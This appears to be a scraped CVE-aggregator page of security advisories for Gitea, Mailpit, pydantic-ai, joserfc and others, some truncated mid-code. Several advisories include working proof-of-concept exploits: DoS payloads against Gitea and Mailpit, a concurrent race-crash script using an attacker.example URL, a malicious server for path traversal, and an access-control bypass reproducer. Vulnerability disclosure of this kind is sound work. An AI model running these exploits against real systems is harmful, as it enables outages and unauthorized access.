and are working to refactor the code base with msgpack to prevent deserialization issues such as CVE-2026-14890, but the SGLANG_USE_PICKLE_IPC defaults to true within the codebase at the time of writing. Acknowledgements Thanks to the reporter, Apoorv Dayal [apoorvdayal@outlook.com]. This document was written by Christopher Cullen. Vendor Information One or more vendors are listed for this advisory. Please reference the full report for more information. References https://github.com/sgl-project/sglang/security/advisories/GHSA-2wvm-gjg7-5jfm https://github.com/sgl-project/sglang/security/advisories/GHSA-h6rf-77vv-9mvj https://github.com/sgl-project/sglang/security/advisories/GHSA-wf98-gv64-5wrf https://github.com/sgl-project/sglang/security/advisories/GHSA-x7w5-h7rp-gfp9 https://github.com/sgl-project/sglang/security/advisories/GHSA-jx7q-p32r-7wx8 https://github.com/sgl-project/sglang/security/a… | GCVE Database | ||
| Medium | 6.8 | EPSS 0.4% | CVE-2026-46678pydantic-ai · Server-Side Request Forgery (SSRF) Medium6.8EPSS 0.4%CVE Database V5CVE-2026-46678 ## Summary When an application using Pydantic AI opts a URL into `force_download='allow-local'` (which disables the default block on private/internal IPs), the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form (IPv4-mapped IPv6, 6to4, or NAT64). Dual-stack and translated networks route the IPv6 wrapper to the underlying IPv4 endpoint, exposing cloud IAM short-term credentials. This is an incomplete fix of [GHSA-2jrp-274c-jhv3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-2jrp-274c-jhv3) / [CVE-2026-25580](https://nvd.nist.gov/vuln/detail/CVE-2026-25580). The parent advisory's remediation guaranteed that "cloud metadata endpoints are always blocked, even with `allow-local`." That guarantee did not hold for IPv6-encoded forms of the metadata IPs. ## Severity Same impact metrics as the parent CVE, but materially narrower attack surface (AC:H instead of AC:L), because exploitation requires the application to have opted into `allow-local` on a URL influenced by untrusted input. ## Who Is Affected Applications are affected **only if** they explicitly opt for `FileUrl` (`ImageUrl`, `AudioUrl`, `VideoUrl`, `DocumentUrl`) into `force_download='allow-local'` on a URL that is, or could be, influenced by untrusted input. Applications are **not** affected if they use any of the bundled integrations to ingest user input, because they do not propagate `force_download` from external data: - `Agent.to_web` / `clai web` - `VercelAIAdapter` - `AGUIAdapter` / `Agent.to_ag_ui` Applications that only download from developer-controlled URLs are not affected. ## Remediation Upgrade to `1.99.0` or later. The cloud-metadata and private-IP blocklists now apply to IPv6 transition forms that route to a blocked IPv4 endpoint (IPv4-mapped IPv6, 6to4, and NAT64 well-known prefix). The blocklists have also been extended to cover additional IANA-reserved IPv4 and IPv6 special-purpose ranges. ## Workaround for Unpatched Versions Avoid passing `force_download='allow-local'` on any URL that could be influenced by untrusted input. If developers must, resolve the hostname themselves and validate the result against their own metadata blocklist — including IPv6-encoded forms — before constructing the `FileUrl`. ## Credits Reported by [j0hndo](mailto:dohyun4466@gmail.com). | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.4% | CVE-2026-64798regularlabs.com IP Login extension for Joomla · PRNG Critical9.1EPSS 0.4%CVE Database V5CVE-2026-64798 Joomla Extension - regularlabs.com - Insecure login URL keys in IP login extension - Persistent URL login keys were also generated using a non-cryptographic random generator with insufficient entropy. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-58436Gitea · ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests High7.5EPSS 0.6%GCVE DatabaseCVE-2026-58436 ### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) < | GCVE Database | ||
| Medium | 4.3 | EPSS 0.4% | Medium4.3EPSS 0.4%GCVE DatabaseCVE-2026-58444 ### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in: - **GHSA-cr4g-f395-h25h** (CVE-2026-20706) token scope bypass on web archive download - **GHSA-3pww-vcvm-3gmj** (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds `repo.Home` is the remaining token-auth-enabled content route that was not given the guard. ### Details / Root cause Web routes accept token authentication only when explicitly opted in with `webAuth.AllowBasic` / `webAuth.AllowOAuth2`. The repository home route carries `AllowBasic` (added so that `go get` can resolve private modules): ```go // routers/web/web.go:1256 m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic, context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch), repo.SetEditorconfigIfExists, repo.Home) ``` When a PAT/OAuth2 token is supplied via HTTP Basic auth, `services/auth/basic.go` sets `IsApiToken = true` and records `ApiTokenScope`: ```go // services/auth/basic.go store.GetData()["IsApiToken"] = true store.GetData()["ApiTokenScope"] = token.Scope ``` The patched sibling handlers all call the web-side scope guard `context.CheckRepoScopedToken(...)`, which enforces both the public-only restriction and the `repository` scope: ``` routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww routers/web/repo/attachment.go:190 (attachments / release assets, centralized) routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w ``` `repo.Home` (`routers/web/repo/view_home.go:389`) performs **no** such check. Its only gate is `checkHomeCodeViewable`, which verifies the **user's** permission and that the code unit is enabled neither of which constrains the **token's** scope. The README, file listing, and sidebar are then rendered. (The `handleRepoHomeFeed` sub-path is guarded via `ShowRepoFeed`, but the HTML repo view is not.) ### Proof of Concept Reproduced against `gitea/gitea:main-nightly` (build `g2e1be0b114`, identical to the source commit above). A private repository `admin/secretrepo` is created, and a token is minted with **only** the `read:user` scope (no `repository` scope). ``` === anonymous baseline (repository is private) === anon GET /admin/secretrepo HTTP=404 === same no-repo-scope token across routes === API repo get (proves token lacks repo scope) HTTP=403 canary=0 /admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0 /admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0 /admin/secretrepo.rss (control) HTTP=403 canary=0 /admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1 ``` A second token with scope `public-only,read:repository` behaves identically: `/archive` → 403, but `/admin/secretrepo` → 200 and returns the private content. `canary=1` means the private README marker was returned in the HTML response; the private file name `SECRET.md` is also disclosed in the rendered file tree. Full self-contained reproducer (Docker, prints a PASS/FAIL verdict): ```bash #!/usr/bin/env bash set -euo pipefail N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2' docker rm -f $N >/dev/null 2>&1 || true docker run -d --name $N \ -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \ -e GITEA__server__ROOT_URL=http://localhost:3000/ \ -e GITEA__service__DISABLE_REGISTRATION=true \ -p 3000:3000 gitea/gitea:main-nightly >/dev/null for i in $(seq 1 40); do [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done docker exec -u git $N gitea admin user create --admin --username admin \ --password "$PW" --email admin@example.com --must-change-password=false >/dev/null curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \ -H 'Content-Type: application/json' \ -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])") curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \ -H 'Content-Type: application/json' \ -d '{"content":"'" | GCVE Database | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%GCVE DatabaseCVE-2026-58428 ## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. **Step 4**: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/<uuid>` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: [GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` ## Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set `Repository.Release.AllowedTypes` to | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | CVE-2026-45713axllent mailpit · Uncontrolled Resource Consumption High7.5EPSS 0.6%CVE Database V5CVE-2026-45713 ### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.3% | CVE-2026-45712axllent mailpit · Race Condition Medium5.9EPSS 0.3%CVE Database V5CVE-2026-45712 ### Summary The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it. ### Details A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read. Affected code [server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229) [server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66) [server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace. ### PoC 1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default). 2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly. Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct): ``` # proxy-race.py import socket, threading, base64, sys ID = sys.argv[1] # 22-char shortuuid CSS = "https://attacker.example/big.css" TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode() req = ( f"GET /proxy?data={TOKEN} HTTP/1.1\r\n" f"Host: target:8025\r\n" f"Connection: close\r\n\r\n" ).encode() def hit(): try: s = socket.create_connection(("target", 8025), timeout=10) s.sendall(req) while s.recv(8192): pass s.close() except Exception: pass for _ in range(50): # 50 rounds ts = [threading.Thread(target=hit) for _ in range(300)] for t in ts: t.start() for t in ts: t.join() ``` When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits: ``` fatal error: concurrent map read and map write goroutine 123 [running]: runtime.throw(...) github.com/axllent/mailpit/server/handlers.ProxyHandler(...) server/handlers/proxy.go:216 ... ``` …and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration. ### Impact Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS). | CVE Database V5 | ||
| Medium | 5.9 | EPSS 0.4% | CVE-2026-45711axllent mailpit · Path Traversal Medium5.9EPSS 0.4%CVE Database V5CVE-2026-45711 ### Summary The mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. ### Details Anyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix. ### Affected code [internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155): path.Join("/safe/out/dir", "../../../../etc/cron.d/payload.eml") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap. The underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL. ### PoC 1. Run a malicious "Mailpit" server that returns one message whose ID contains .. segments: ```python # evil-mailpit.py import http.server, json class Evil(http.server.BaseHTTPRequestHandler): def do_GET(self): if "/api/v1/messages" in self.path: resp = { "total": 1, "unread": 0, "count": 1, "messages_count": 1, "messages_unread": 0, "start": 0, "tags": [], "messages": [{ "ID": "../../../../tmp/mailpit-pwn", # ← traversal "MessageID": "x", "Read": False, "From": {"Name": "", "Address": "a@b"}, "To": [{"Name": "", "Address": "c@d"}], "Cc": None, "Bcc": None, "ReplyTo": [], "Subject": "evil", "Created": "2026-01-01T00:00:00Z", "Tags": [], "Size": 5, "Attachments": 0, "Snippet": "" }] } body = json.dumps(resp).encode() ctype = "application/json" elif "/raw" in self.path: body = b"PWNED BY MAILPIT DUMP TRAVERSAL\n" ctype = "text/plain" else: self.send_response(404); self.end_headers(); return self.send_response(200) self.send_header("Content-Type", ctype) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) http.server.HTTPServer(("127.0.0.1", 19090), Evil).serve_forever() ``` ``` $ python3 evil-mailpit.py & $ mkdir -p /tmp/dump-out $ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out ``` 2. Observe the file was written outside the requested output directory: ``` $ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml /tmp/dump-out/ ← empty total 0 -rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml $ cat /tmp/mailpit-pwn.eml PWNED BY MAILPIT DUMP TRAVERSAL ``` The same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to. ### Impact Arbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges. | CVE Database V5 | ||
| Medium | – | EPSS 0.2% | CVE-2026-49852joserfc · HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363) MediumEPSS 0.2%GCVE DatabaseCVE-2026-49852 ### Summary `joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or `None`. `HMACAlgorithm.sign` and `HMACAlgorithm.verify` in [`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever `OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key` only emits a `SecurityWarning` when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns `""`, or a `Hash.new("")`-style default verifies attacker tokens forged with `HMAC(key=b"", signing_input)` because the attacker trivially reproduces the same digest with no secret knowledge. This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated `authlib.jose` module by the same maintainer; filing this advisory against joserfc alongside a separate `authlib` advisory because the codebases are independent shipping artifacts on PyPI.) ### Affected versions `joserfc` (PyPI) `<= 1.6.7` (latest published release reproduces). No patched release. ### Privilege required Unauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode` with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to `""` or `None`. Common patterns that produce this state in production: - `OctKey.import_key(os.environ.get("JWT_SECRET", ""))` - A key finder callable that returns `""` / `None` for an unknown `kid` - Default values like `os.getenv("SECRET") or ""`, `cfg.get("secret", "")` - Database / Redis row lookup that returns `""` for a missing row ### Vulnerable code [`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70): ```python class HMACAlgorithm(JWSAlgModel): SHA256 = hashlib.sha256 SHA384 = hashlib.sha384 SHA512 = hashlib.sha512 def __init__(self, sha_type, recommended=False): self.name = f"HS{sha_type}" self.description = f"HMAC using SHA-{sha_type}" self.recommended = recommended self.hash_alg = getattr(self, f"SHA{sha_type}") self.algorithm_security = sha_type def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest() def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return 